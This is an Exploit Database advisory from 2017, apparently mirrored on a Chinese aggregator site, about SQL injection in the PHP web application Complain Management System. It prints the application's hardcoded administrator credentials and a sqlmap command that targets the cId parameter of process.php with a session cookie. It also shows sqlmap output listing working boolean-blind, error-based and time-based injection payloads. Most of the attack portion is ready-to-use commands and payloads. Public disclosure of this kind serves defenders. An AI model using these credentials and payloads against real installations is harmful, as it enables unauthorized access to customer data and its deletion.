Complain Management System – SQL injection

• Exploit Database
• 16 阅读

• 作者： Sibusiso Sishi
  日期： 2017-01-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41131/

• # Title : Complain Management System SQL Injection
  # Date: 20 January 2017
  # Exploit Author: Sibusiso Sishi sibusiso@ironsky.co.za
  # Tested on: Windows7 x32
  # Vendor: https://sourceforge.net/projects/complain-management-system/
  # Version: not supplied
  # Download Software: https://sourceforge.net/projects/complain-management-system/files
   
  #################################################
  
  ## About The Product : ##
  Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.
  
  ## Vulnerability : ## 
  The functions.php file line 88 has hardcoded admin credentials.
  		elseif($uType == 'admin'){
  			//$_SESSION['user_id'] = $row['sid'];
  			if($userName == 'admin' && $password == 'admin123'){
  				$_SESSION['user_id'] = 0;
  				$_SESSION['user_name'] = 'Administrator';
  				$_SESSION['user_type'] = 'admin';
  				header('Location: '.WEB_ROOT.'index.php');
  				exit;
  
  Using the hardcoded admin credentials we then have access to the process.php file that is vulnerable to SQL injection.
  
  -HTTP Method : GET
  
  - Sqlmap command: sqlmap -u "http://192.168.19.135/cms/process.php?action=deleteCust&cId=123" --cookie="PHPSESSID=q446r5fqav1qlljb7cohd29r85"
  
  - Sqlmap Output : 
  sqlmap identified the following injection point(s) with a total of 622 HTTP(s) requests:
  ---
  Parameter: cId (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: action=deleteCust&cId=123 RLIKE (SELECT (CASE WHEN (8336=8336) THEN 123 ELSE 0x28 END))
  
  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: action=deleteCust&cId=123 AND EXTRACTVALUE(8194,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(8194=8194,1))),0x716a6b6271))
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: action=deleteCust&cId=123 AND (SELECT * FROM (SELECT(SLEEP(5)))fdmM)
  ---
  [22:54:32] [INFO] the back-end DBMS is MySQL
  web server operating system: Windows
  web application technology: Apache 2.4.23, PHP 5.6.24
  back-end DBMS: MySQL >= 5.1